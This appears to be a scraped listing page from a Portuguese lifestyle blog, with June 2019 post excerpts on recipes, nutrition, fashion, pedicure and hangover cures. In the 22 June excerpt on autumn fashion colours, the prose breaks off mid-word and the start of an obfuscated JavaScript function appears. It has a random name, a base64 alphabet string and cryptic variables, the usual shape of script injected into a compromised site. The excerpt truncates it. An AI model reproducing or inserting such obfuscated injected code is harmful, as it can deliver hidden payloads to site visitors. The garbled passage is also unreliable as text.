Jun 30, 2019 | Faça você mesmo, Receitas
Receita de Sopa de Beldroegas com bacalhau e queijo A beldroega é uma planta espontânea que cresce em terrenos de cultivo e apresenta umas folhas pequenas, verdes e carnudas.. É por muita gente considerada uma erva daninha, mas tem um alto valor nutritivo e pode ser...
Jun 28, 2019 | Faça você mesmo, Receitas, Teresa
Aprenda a fazer o verdadeiro Tiramisù italiano O Tiramisù é uma sobremesa tipicamente italiana. Consiste em camadas de palitos de champanhe, ou de la Reine, embebidos em café (da avó, ou solúvel), e creme de queijo mascarpone. Leva leite e ovos e, no final, é...
Jun 26, 2019 | Faça você mesmo, Receitas, Teresa
Como fazer gelado de baunilha e de manga, sem máquina de gelados O Verão já começou e, ao que tudo indica, vai ser quente. Eu adoro surpresas, por isso sugiro que surpreenda a sua família com uma sobremesa especial, com fruta, e sem corantes nem conservantes. Miúdos e...
Jun 25, 2019 | Dicas úteis, Equilíbrio, Saúde e bem estar
Alimentos que devemos consumir todos os dias Como bem sabe, gosto de lhe dar diariamente conselhos sobre alimentação. Acredito profundamente que somos o que comemos e que devemos ter uma alimentação equilibrada e muito variada, comendo um pouco de tudo. Assim...
Jun 22, 2019 | As cores da moda, Dicas úteis, Estilo e beleza, Teresa
O que comprar em saldos? Saiba quais são as cores do outono 2019 Os saldos já estão aí e a tentação é grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jun 21, 2019 | À descoberta, Dicas úteis
Os 7 melhores frutos para consumir no verão Consumir fruta da época é muito importante e o nosso organismo agradece. No artigo de hoje falo-lhe dos 7 melhores frutos para consumir no verão. É absolutamente importante que nesta estação quente nos preocupemos em...
Jun 19, 2019 | Dicas úteis, Saúde e bem estar
Alimentos que contribuem para a tensão arterial ideal Medir a tensão arterial é um acto que todos nós devíamos fazer habitualmente para verificar se existem problemas com a nossa saúde. É realmente importante controlar os valores da tensão arterial, até porque...
Jun 15, 2019 | Dicas úteis
Conheça os benefícios do amendoim Já tinha saudades das minhas dicas saudáveis? Pois bem, hoje vou falar-lhe de um alimento muito popular: os amendoins. Os amendoins são uma rica fonte de energia. Além de fornecerem calorias, possuem uma pequena quantidade de...
Jun 14, 2019 | Dicas úteis, Estilo e beleza, Faça você mesmo
Pedicura em casa? Passo a passo Eu sei que nada substitui a ida ao nosso espaço de beleza preferido, arranjar os pés, com tudo a que temos direito, incluindo uma bela massagem relaxante, se a pedicura for boa e simpática. Mas se por algum motivo não o pode fazer,...
Jun 13, 2019 | Dicas úteis
8 Dicas para curar uma ressaca Os Santos Populares já chegaram, a cidade e os muitos bairros enchem-se de gente e de sorrisos. Animação, boa comida e muita música não faltam pela cidade durante este mês. Nestas dias é costume haver um espírito de folia e alguns...
